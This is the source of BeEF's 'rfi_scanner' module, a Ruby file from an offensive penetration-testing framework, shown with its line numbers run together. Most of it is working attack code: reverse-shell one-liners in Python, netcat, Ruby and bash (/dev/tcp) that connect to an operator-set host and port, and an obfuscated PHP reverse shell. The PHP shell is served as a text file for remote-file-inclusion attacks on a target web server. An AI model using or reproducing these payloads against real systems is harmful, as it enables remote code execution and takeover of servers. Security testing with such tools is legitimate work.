Path: blob/master/modules/exploits/rfi_scanner/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Rfi_scanner < BeEF::Core::Command6def pre_send7lhost = '127.0.0.1'8lport = 44449payload = 'reverse_php'10@datastore.each do |input|11case input['name']12when 'lhost'13lhost = input['value']14when 'lport'15lport = input['value']16end17end18@datastore.each do |input|19next unless input['name'] == 'payload'2021case input['value']22when 'reverse_python' # msfvenom -p cmd/unix/reverse_python LHOST=X.X.X.X LPORT=XXXX23cmd = Base64.strict_encode64("import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);")24payload = "`python -c \"exec ('#{cmd}'.decode ('base64') )\"`"25when 'reverse_netcat'26payload = "`nc #{lhost} #{lport} -e /bin/sh`"27when 'reverse_ruby' # msfvenom -p cmd/unix/reverse_ruby LHOST=X.X.X.X LPORT=XXXX28payload = "`ruby -rsocket -e \"exit if fork;c=TCPSocket.new('#{lhost}','#{lport}');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end\"`"29when 'reverse_bash'30payload = "`bash -c \"/bin/bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1\"`"31else # "reverse_php" # msfvenom -p php/reverse_php LHOST=X.X.X.X LPORT=XXXX32payload = <<-EOS33$ipaddr='#{lhost}';34$port=#{lport};3536@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);37$dis=@ini_get('disable_functions');38if(!empty($dis)){39$dis=preg_replace('/[, ]+/', ',', $dis);40$dis=explode(',', $dis);41$dis=array_map('trim', $dis);42}else{43$dis=array();44}45#{' '}4647if(!function_exists('zBoGL')){48function zBoGL($c){49global $dis;50#{' '}51if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {52$c=$c." 2>&1\\n";53}54$eclnc='is_callable';55$wGGmd='in_array';56#{' '}57if($eclnc('system')and!$wGGmd('system',$dis)){58ob_start();59system($c);60$o=ob_get_contents();61ob_end_clean();62}else63if($eclnc('popen')and!$wGGmd('popen',$dis)){64$fp=popen($c,'r');65$o=NULL;66if(is_resource($fp)){67while(!feof($fp)){68$o.=fread($fp,1024);69}70}71@pclose($fp);72}else73if($eclnc('passthru')and!$wGGmd('passthru',$dis)){74ob_start();75passthru($c);76$o=ob_get_contents();77ob_end_clean();78}else79if($eclnc('proc_open')and!$wGGmd('proc_open',$dis)){80$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);81$o=NULL;82while(!feof($pipes[1])){83$o.=fread($pipes[1],1024);84}85@proc_close($handle);86}else87if($eclnc('exec')and!$wGGmd('exec',$dis)){88$o=array();89exec($c,$o);90$o=join(chr(10),$o).chr(10);91}else92if($eclnc('shell_exec')and!$wGGmd('shell_exec',$dis)){93$o=shell_exec($c);94}else95{96$o=0;97}9899return $o;100}101}102$nofuncs='no exec functions';103if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){104$s=@fsockopen("tcp://#{lhost}",$port);105while($c=fread($s,2048)){106$out = '';107if(substr($c,0,3) == 'cd '){108chdir(substr($c,3,-1));109} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {110break;111}else{112$out=zBoGL(substr($c,0,-1));113if($out===false){114fwrite($s,$nofuncs);115break;116}117}118fwrite($s,$out);119}120fclose($s);121}else{122$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);123@socket_connect($s,$ipaddr,$port);124@socket_write($s,"socket_create");125while($c=@socket_read($s,2048)){126$out = '';127if(substr($c,0,3) == 'cd '){128chdir(substr($c,3,-1));129} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {130break;131}else{132$out=zBoGL(substr($c,0,-1));133if($out===false){134@socket_write($s,$nofuncs);135break;136}137}138@socket_write($s,$out,strlen($out));139}140@socket_close($s);141}142EOS143144end145end146BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/plain' }, "<?php #{payload} ?>", "/rfi_php_#{@command_id}.txt", -1)147end148149def self.options150configuration = BeEF::Core::Configuration.instance151lhost = configuration.beef_host152lhost = '' if lhost == '0.0.0.0'153[154{ 'name' => 'rproto',155'type' => 'combobox',156'ui_label' => 'Target Protocol',157'store_type' => 'arraystore',158'store_fields' => ['rproto'],159'store_data' => [160['http'],161['https']162],163'emptyText' => 'Select a protocol (HTTP/HTTPS)',164'valueField' => 'rproto',165'displayField' => 'rproto',166'mode' => 'local',167'autoWidth' => true },168{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },169{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },170{ 'name' => 'base_dir', 'ui_label' => 'Base Directory', 'value' => '/' },171{ 'name' => 'payload',172'type' => 'combobox',173'ui_label' => 'Payload',174'store_type' => 'arraystore',175'store_fields' => ['payload'],176'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_ruby'], ['reverse_python'], ['reverse_php']],177'emptyText' => 'Select a payload',178'valueField' => 'payload',179'displayField' => 'payload',180'mode' => 'local',181'forceSelection' => 'false',182'autoWidth' => true },183{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },184{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' },185{ 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width' => '100px' }186]187end188189def post_execute190save({ 'result' => @datastore['result'] })191# BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/rfi_php_#{@command_id}.txt")192end193end194195196